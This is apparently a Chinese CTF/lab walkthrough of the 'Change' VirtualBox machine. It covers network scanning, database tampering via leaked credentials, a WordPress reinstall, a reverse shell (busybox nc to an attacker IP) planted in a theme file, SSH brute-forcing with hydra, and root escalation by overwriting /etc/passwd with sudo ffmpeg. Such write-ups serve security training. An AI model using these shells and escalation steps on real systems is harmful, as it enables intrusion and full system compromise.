信息搜集

```
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c: 29: ff: 66:80, IPv4: 192.168.31.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1    0a: 00:27:00:00:10       (Unknown: locally administered)
192.168.31.2    08:00:27: e2: e0:79       PCS Systemtechnik GmbH
192.168.31.254  08:00:27: e6: ca: 84       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.352 seconds (108.84 hosts/sec). 3 responded

┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# nmap 192.168.31.254 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 01:30 EDT
Nmap scan report for 192.168.31.254
Host is up (0.00093s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 08:00:27: E6: CA: 84 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds
```

数据库修改

80 端口告诉了一个域名

```
Please visit: change.dsz
```

添加进 host 里访问

```
<!-- Database connection settings:
Host = localhost, DB = changeweb
User = change, Password = change -->
```

一个登录框，然后前端注释里面又数据库的账号密码，连接数据库。

users 表里有账号密码

```
1 root $2y$ 10$EFCK8LdjkDv1W52q0bV8.OLUicO8h6kYBqU5nE1jOcSq3qQ9l5mZG
```

但是密码是经过 bcrypt 加密了的，我们不知道明文，但是我们可以修改数据库啊

https://bcrypt.online/

```
$2y$ 10$RrMleRmmWCtFCdE4b8ZseuJ97h9PmGr1yDdWHKQX97UVDV810UnRy          # 明文是 123123
```

然后 root/123123 登录。

getshell

登陆后是一个输入框，但是只能执行 `ls`，`pwd`，`rm` 命令，通过查找可以发现/home/lzh 下有一个 `.pass.txt` 文件，但是我们没办法读取，在/var/www/目录下还有一个 wordpress 的站点

```
change.dsz
html
wordpress.change.dsz
```

添加进 host 里然后去访问。用 wpscan 扫描无果，但是我们可以执行 rm 命令，可以把 wordpress 的 `wp-config.php` 文件删除掉，而且我们也有一个数据库的账号，我们就可以重新安装 wordpress

```
rm /var/www/wordpress.change.dsz/wp-config.php
```

然后再去访问 wordpress 站点就可以安装了

```
数据库名：changeweb
用户名：  change
密码：  change
```

然后设置网站的账号密码就行。

进入到 wordpress 的后台，在设置里面用主题文件编辑器修改主题的 php 文件即可，我修改了 `Twenty Twenty-Two` 的 `index.php`。

```
<?php
// There is nothing output here because block themes do not use php templates.
// There is a core ticket discussing removing this requirement for block themes:
// https://core.trac.wordpress.org/ticket/54272.
system("busybox nc 192.168.31.129 4444 -e /bin/bash");
```

更新文件，然后访问

```
http://wordpress.change.dsz/wp-content/themes/twentytwentytwo/index.php   (修改的主题不同，文件路径也不同)
```

就可以弹出来 shell 了

提权

查看/home/lzh/.pass.txt 文件是一个字典，用这个字典去爆破 lzh 的密码

```
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# hydra -l lzh -P ./pass 192.168.31.254 ssh -vV -I -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is
。。。。
[22][ssh] host: 192.168.31.254   login: lzh   password: 1a2b3c4d1a2b3c4d
```

得到了 lzh 用户的密码。

查看 sudo

```
lzh@Change:~$ sudo -l
Matching Defaults entries for lzh on Change:
    env_reset, mail_badpass, secure_path =/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lzh may run the following commands on Change:
    (ALL) NOPASSWD: /usr/bin/ffmpeg
```

可以用 sudo 执行 `ffmpeg`，他的参数太多了懒得看就丢给 ai，可以知道 `ffmpeg` 可以写文件，那直接写 passwd 提权即可。

```
lzh@Change:~$ cp /etc/passwd ./
lzh@Change:~$ echo '^C
lzh@Change:~$ echo 'll:$ 1 $h3FLdJnU$ UVh/7.VOV8IZLgqmmUowv1:0:0: root:/root:/bin/bash'>>./passwd
lzh@Change:~$ sudo ffmpeg -y -f rawvideo -pixel_format rgb24 -video_size 1024x1 -i file:///home/lzh/passwd -f rawvideo -
c copy /etc/passwd
ffmpeg version 4.3.7-0+deb11u1 Copyright (c) 2000-2024 the FFmpeg developers
  built with gcc 10 (Debian 10.2.1-6)
  configuration: --prefix =/usr --extra-version = 0+deb11u1 --toolchain = hardened --libdir =/usr/lib/x86_64-linux-gnu --incdir =/usr/include/x86_64-linu
  libavutil      56. 51.100 / 56. 51.100
  libavcodec     58. 91.100 / 58. 91.100
  libavformat    58. 45.100 / 58. 45.100
  libavdevice    58. 10.100 / 58. 10.100
  libavfilter     7. 85.100 /  7. 85.100
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  7.100 /  5.  7.100
  libswresample   3.  7.100 /  3.  7.100
  libpostproc    55.  7.100 / 55.  7.100
[rawvideo @ 0x55d3e8669f80] Packet corrupt (stream = 0, dts = 0).
[rawvideo @ 0x55d3e8669f80] Estimating duration from bitrate, this may be inaccurate
Input #0, rawvideo, from 'file:///home/lzh/passwd':
  Duration: N/A, start: 0.000000, bitrate: 614 kb/s
    Stream #0:0: Video: rawvideo (RGB [24] / 0x18424752), rgb24, 1024x1, 614 kb/s, 25 tbr, 25 tbn, 25 tbc
Output #0, rawvideo, to '/etc/passwd':
  Metadata:
    encoder         : Lavf58.45.100
    Stream #0:0: Video: rawvideo (RGB [24] / 0x18424752), rgb24, 1024x1, q = 2-31, 614 kb/s, 25 tbr, 25 tbn, 25 tbc
Stream mapping:
  Stream #0:0 -> #0:0 (copy)
Press [q] to stop, [?] for help
file:///home/lzh/passwd: corrupt input packet in stream 0
frame =    1 fps = 0.0 q =-1.0 Lsize =       1kB time = 00:00:00.04 bitrate = 301.0kbits/s speed = 42.6x
video: 1kB audio: 0kB subtitle: 0kB other streams: 0kB global headers: 0kB muxing overhead: 0.000000%
```

然后 `su ll`

```
lzh@Change:~$ su ll
Password:
root@Change:/home/lzh# id
uid = 0(root) gid = 0(root) groups = 0(root)
```